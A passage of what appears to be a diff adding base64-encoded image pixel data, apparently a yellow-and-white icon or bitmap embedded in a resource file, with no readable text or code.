+ AP/wrwD/8K8A//CwA//fpw3/8LAD/+u0Iffs59gBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADmx3AZ7LQb/+isDP/mqgf/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8LEJ//K7KP/wwD3/8chY//TYjv/246//+/Pa//7+/v//////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ //////////////7+/v/x8Oz/16QZ//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/+GoDv/wrwL/7bQb/+bH
+ cBkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOq6
+ Ozftsxf/5aoK/+utBv/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CyCf/yuyj/8L89//HIWP/02Y7/9uOv//vz2v/+/v7/////////
+ ////////////////////////////////////////////////////////////////////////////////
+ /////////////////////////////////////////////////////////f39/9TFmv/rrQb/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/36gR//CvAf/tsxf/6ro7NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6cJZTO6zFf/gpg3/8LAF//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wsQn/8rso//DAPf/xyFj/9NmO//bj
+ sP/789r//v7+////////////////////////////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ //////////////7+/v/z8/L/zqQx//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/fpw//8K8B/+6z
+ Ff/qw1lMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AADqvkdg77MT/96mD//wrwL/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8LEH//K7
+ KP/wwD3/8slc//Xakv/246//+/Pa//7+/v//////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ /////////////////////////////////////////////////////////Pz8/8++k//oqwX/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A/+OpDf/wrwH/77MT/+u+R2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOu7OXDvsxL/36cP//CvAf/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wsQn/8b40//DDSP/z1ob/9uOv//zz3f/+/v7/////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ //////////////39/f/k4Nb/0Z8a//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/4KcO//Cv
+ A//vsxL/7Ls5cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAA67k0eu+zEv/iqQ7/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/xtxv/8MBC//PVhP/35bX//fv1////
+ ////////////////////////////////////////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ ///////////////////////////////////////////////////+/v7/7+7s/8OgQf/vrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/epQz/8LAF/++zEv/sujR6AAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADsuTKA77MS/+WqDv/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wtxz/78NN//Tcm//89eP//v7+////////////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ /////////v7+//Ly8v/Bpl7/6qsD//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+ AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/96m
+ Df/wsAX/77MS/+y6MoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAOy5MoDvsxL/5asP//CwA//wsAP/8LAD//CwA//wsAP/8LAD//CwA//wsAP/8LAD//Cw
+ A//wsAP/8LAD//CwA//wsAP/8LAD//CwA//wsAP/8LAD//CwA//wsAP/8LAD//CwA//wsAP/8LAD//Cw
+ A//wsAP/8LAD//CwA//wsAP/8LAD//CwA//wsw3/78FE//Talv/9+e7/////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ //////////////////////////////////////////////39/f/v7u7/vqVg/+aqBf/wsAL/8LAC//Cw
+ Av/wsAL/8LAC//CwAv/wsAL/8LAC//CwAv/wsAL/8LAC//CwAv/wsAL/8LAC//CwAv/wsAL/8LAC//Cw
+ Av/wsAL/8LAC//CwAv/wsAL/8LAC//CwAv/wsAL/3qYO//CwBf/vsxL/7LoygAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7Ls0gO+0E//lqxD/8LEG//Cx
+ Bv/wsQb/8LEG//CxBv/wsQb/8LEG//CxBv/wsQb/8LEG//CxBv/wsQb/8LEG//CxBv/wsQb/8LEG//Cx
+ Bv/wsQb/8LEG//CxBv/wsQb/8LEF//CxBf/wsQX/8LEF//CxBf/wsQX/8LEF//CxBf/wsQX/8Lom/+/M
+ bv/68df//v7+////////////////////////////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ //////////////////////////////////////////////////////////////////////////////7+
+ /v/8/Pz/4uDb/7ydSv/prAf/8LEF//CxBf/wsQX/8LEF//CxBf/wsQX/8LEF//CxBf/wsQX/8LEF//Cx
+ Bf/wsQX/8LEF//CxBf/wsQX/8LEF//CxBf/wsQX/8LEF//CxBf/wsQX/8LEF//CxBf/wsQX/8LEF//Cx
+ Bf/fpxD/8LAF/++0E//suzSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAADsvT5y8LUV/+CoEP/wsgr/8LIJ//CyCf/wsgn/8LIJ//CyCf/wsgn/8LIJ//Cy
+ Cf/wsgn/8LIJ//CyCf/wsgn/8LIJ//CyCf/wsgn/8LIJ//CyCf/wsgn/8LIJ//CyCf/wsgn/8LIJ//Cy
+ Cf/wsgn/8LIJ//CyCf/wsgn/8LIJ//C9Nf/y2JP//v36////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ ///////////////////////////////////9/f3/9PT0/8vDrv/EmSb/7rEJ//CyCP/wsgj/8LII//Cy
+ CP/wsgj/8LII//CyCP/wsgj/8LII//CyCP/wsgj/8LII//CyCP/wsgj/8LII//CyCP/wsgj/8LII//Cy
+ CP/wsgj/8LII//CyCP/wsgj/8LII//CyCP/wsgj/8LII/96nEv/wrwP/8LUV/+2+PnIAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO7BSmjwtRf/36gR//Gz
+ Dv/xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//Gy
+ C//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyDP/wvjr/9OCq//7+
+ /v//////////////////////////////////////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ ///////////////////////////////////////////////////////////////////+/v7/9vb2/9nW
+ zv+5n1r/2aIP//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//Gy
+ C//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//Gy
+ C//xsgv/46oT//CvAv/wtRj/7sFLaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAA7shiWPC2G//epg//8bUU//GzD//xsw//8bMP//GzD//xsw//8bMP//Gz
+ D//xsw//8bMP//GzD//xsw//8bMP//GzD//xsw//8bMP//GzD//xsw//8bMP//GzD//xsw//8bMP//Gz
+ D//xsw//8bMP//GzDv/xsw7/77w0//Pfqf/+/v7/////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ //////////////7+/v/8/Pz/8vLy/9bTyf+4omX/zZwY//CzD//xsw7/8bMO//GzDv/xsw7/8bMO//Gz
+ Dv/xsw7/8bMO//GzDv/xsw7/8bMO//GzDv/xsw7/8bMO//GzDv/xsw7/8bMO//GzDv/xsw7/8bMO//Gz
+ Dv/xsw7/8bMO//GzDv/xsw7/8bMO//GzDv/xsw7/8bMO//GzDv/jqxb/8K8C//C2G//vyWNYAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADvxVND77cg/+Op
+ Cv/wthj/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0
+ Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//C6KP/v1Iz//v7+////
+ ////////////////////////////////////////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ ///////////////////////////////////+/v7//v7+//z8/P/09PT/4eHg/8G2mv+6nE7/0Z4V//C0
+ Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0
+ EP/xtBD/8bQQ//G0EP/xtBD/8bQQ//G0EP/xtBD/8bQQ//G0EP/xtBD/8bQQ//G0EP/xtBD/8bQQ//G0
+ EP/xtBD/8bQQ/96oFv/wsAP/77cg/+/FU0MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAPDKZSjvuSb/5qsM/+myGv/xtRT/8bUU//G1FP/xtRT/8bUU//G1
+ FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1
+ FP/xtRT/8bUU//G1FP/xthb/6sRe//379///////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ /////////////////////////////////////////////////////////v7+//39/f/7+/v/9PT0/+fn
+ 5//T0Mb/uq2L/7mdUv/Imh7/5a0U//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1
+ FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1
+ FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/4qoT//CwBf/wuSb/8MtmKAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9ObCCu+7
+ Lv/ssA7/5a4a//G2F//xthf/8bYX//G2F//xthf/8bYX//G2F//xthf/8bYX//G2F//xthf/8bYX//G2
+ F//xthf/8bYX//G2F//xthf/8bYX//G2F//xthf/8bYX//G2F//xthf/8bYX/+y7Nf/16Mb/////////
+ ////////////////////////////////////////////////////////////////////////////////
+ /////////////////////////////////////////////////////////////////////////v7+//7+
+ /v/9/f3/+Pj4/+/v7//f397/ycKw/7enfv+5nlH/xJop/9SgFf/sshf/8bYW//G2Fv/xthb/8bYW//G2
+ Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2
+ Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2
+ Fv/xthb/8bYW//G3Gv/epg//8LEI/++7Lv/058IKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA77895fCzD//gqhz/8bca//G3Gv/xtxr/8bca//G3
+ Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3
+ Gv/xtxr/8bca//G3Gv/xtxz/6chv//7+/v//////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ //////////////7+/v/9/f3/+/v7//T09P/n5+f/1dLK/72ylf+4omj/vZs+/8ubHf/eqBn/8bca//G3
+ Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3
+ Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxn/8bcZ//G3
+ Gf/xtxn/8bcZ//G3Gf/xtxn/8bcZ//G3Gf/xtxn/8bcZ//G3Gf/xtxn/77gh/+OnCP/wsgz/8MFA5AAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AADsvT2+8LMM/+GrHP/yuB3/8rgd//K4Hf/yuB3/8rgd//K4Hf/yuB3/8rgd//K4Hf/yuB3/8rgd//K4
+ Hf/yuB3/8rgd//K4Hf/yuB3/8rgd//K4Hf/yuB3/8rgd//K4Hf/yuB3/8rgd/++7M//w4rn/////////
+ ////////////////////////////////////////////////////////////////////////////////
+ ///////////////////////////////////+/v7//f39//j4+P/w8PD/397e/8nCr/+2p37/up5T/8Sb
+ Lf/VoRn/6rIc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4
+ HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4
+ HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4
+ HP/yuBz/8rgc//K4HP/osiD/6KsH//C0Ef/ww0q9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOS5RpLvsAj/4KkX//K5IP/yuR//8rkf//K5
+ H//yuR//8rkf//K5H//yuR//8rkf//K5H//yuR//8rkf//K5H//yuR//8rkf//K5H//yuR//8rkf//K5
+ H//yuR//8rkf//K5H//yuR//57pB//z7+f//////////////////////////////////////////////
+ /////////////////////////////////////////////////////////v7+//7+/v/6+vr/7u7u/9rZ
+ 1P/Atpv/t6Nr/76cQf/MnSD/36od//K4H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4
+ H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4
+ H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4
+ H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf/+GsH//wsAb/8LYY//LO
+ cZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAA4LAuue+wBv/dqBv/8roj//K6I//yuiP/8roj//K6I//yuiP/8roj//K6I//yuiP/8roj//K6
+ Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6I//nynv//v7+////
+ ////////////////////////////////////////////////////////////////////////////////
+ /////////v7+//z8/P/x8fH/1NDH/7ine/++nUL/z6Af/+izIv/yuiL/8roi//K6Iv/yuiL/8roi//K6
+ Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6
+ Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6
+ Iv/yuiL/8rki//K5Iv/yuSL/8rki//K5Iv/yuSL/8rki//K5Iv/yuSL/8rki//K5Iv/yuSL/8rki//K5
+ Iv/yuSL/8rki//K5Iv/yuSL/4awe//CwBP/wuCL/8stjYgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANyxPj/prQv/5awQ/+izIv/yuyX/8rsl//K7
+ Jf/yuyX/8rsl//K7Jf/yuyX/8rsl//K7Jf/yuyX/8rsl//K7Jf/yuyX/8rsl//K7Jf/yuyX/8rsl//K7
+ Jf/yuyX/8rsl//K7Jf/yuyX/8r4v/+fVo///////////////////////////////////////////////
+ //////////////////////////////////////////////39/f/y8vL/ycGs/7ueTv/TpCH/8Lkl//K6
+ Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6
+ Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6
+ Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6
+ Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K7Jv/gqRX/8LEI//G8
+ Lv/z0XMqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAA4LI3tO+wBv/eqh3/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7
+ KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/svDr/7uG+////
+ ////////////////////////////////////////////////////////////////////////////////
+ ///9/f3/5OHc/7uhWv/erCX/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7
+ KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7
+ KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7
+ KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7
+ KP/yuyj/8rsn//K7J//yuyf/77su/+KnCP/wsw7/8cJD7fjv1QIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANy2UiTnrQ/96a4O/+axJv/zvCv/87wr//O8
+ K//zvCv/87wr//K8K//yvCv/8rwr//K8K//yvCv/8rwr//K8K//yvCv/8rwr//K8K//yvCv/8rwr//K8
+ K//yvCv/8rwr//K8K//yvCv/8rwr/+e3NP/07t3/////////////////////////////////////////
+ /////////////////////////////////////////v7+/+bj3P/FoUD/8bsr//K8Kv/yvCr/8rwq//K8
+ Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8
+ Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8
+ Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8
+ Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/ksSn/7K4H//G2
+ GP/zzGKwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAA4LEvhu2vB//eqRj/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9
+ Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/57Yx//r5
+ 9v//////////////////////////////////////////////////////////////////////////////
+ ///4+Pj/yq1d//K8Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9
+ Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9
+ Lv/zvS7/870u//O/M//0yFP/8shZ//LHVv/yyFn/9MlV//PAOP/zvS3/870t//O9Lf/zvS3/870t//O9
+ Lf/zvS3/870t//O9Lf/zvS3/870t//O9Lf/zvS3/870t//O9Lf/zvS3/870t//O9Lf/zvS3/870t//O9
+ Lf/zvS3/870t//O9Lf/zvS3/870t/+CsIv/wsAb/8bol//XakGoAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOPdzgHlsijh8LEJ/+CtJf/zvjH/874w//O+
+ MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+
+ MP/zvjD/874w//O+MP/zvjD/874w//O+MP/gsjj/+vr6////////////////////////////////////
+ /////////////////////////////////////////////+ffyv/ktDP/874w//O+MP/zvjD/874w//O+
+ MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+
+ MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+Mv/xx1X/89WE//fksv/78NP//PTe//vw
+ 0v/35bX/9dyb//HKYv/zxEX/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+
+ MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvzX/36cQ//Cy
+ DP/yvzf/9tyXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAA4LhMMuqvEf/mqw3/67kx//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/
+ M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z/9+z
+ P//6+vr/////////////////////////////////////////////////////////////////////////
+ ////////3s2c//PAN//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/
+ M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/
+ M//zwDj/8Mpk//bnvv/+/v7//////////////////////////////////Pju//LYk//xxlH/878z//O/
+ M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/
+ M//zvzP/878z//O/M//zvzP/878z/+e2Mv/prAf/8bYW//PKWtEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADkvFB67rAK/9+pGP/zwDf/88A2//PA
+ Nv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PA
+ Nv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/4bM3//n5+f//////////////////////////////
+ ///////////////////////////////////////////////////n0Zb/88A4//PANv/zwDb/88A2//PA
+ Nv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PA
+ Nv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88E7/+7KaP/68dn//v7+////////////////////
+ /////////////////////////v7+//Lep//wxE3/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PA
+ Nv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDX/88A1//PANf/zwDX/364m//Cx
+ Bv/xuib/9dR6fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAOa3N7rwsQf/4K4m//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PB
+ Of/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PB
+ Of/ltzn/9PHr////////////////////////////////////////////////////////////////////
+ /////////////+bUo//zw0H/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PB
+ Of/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PB
+ O//vyWT/+O/U//7+/v///////////////////////////////////////////////////////v7+/+rP
+ g//zwj//88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PB
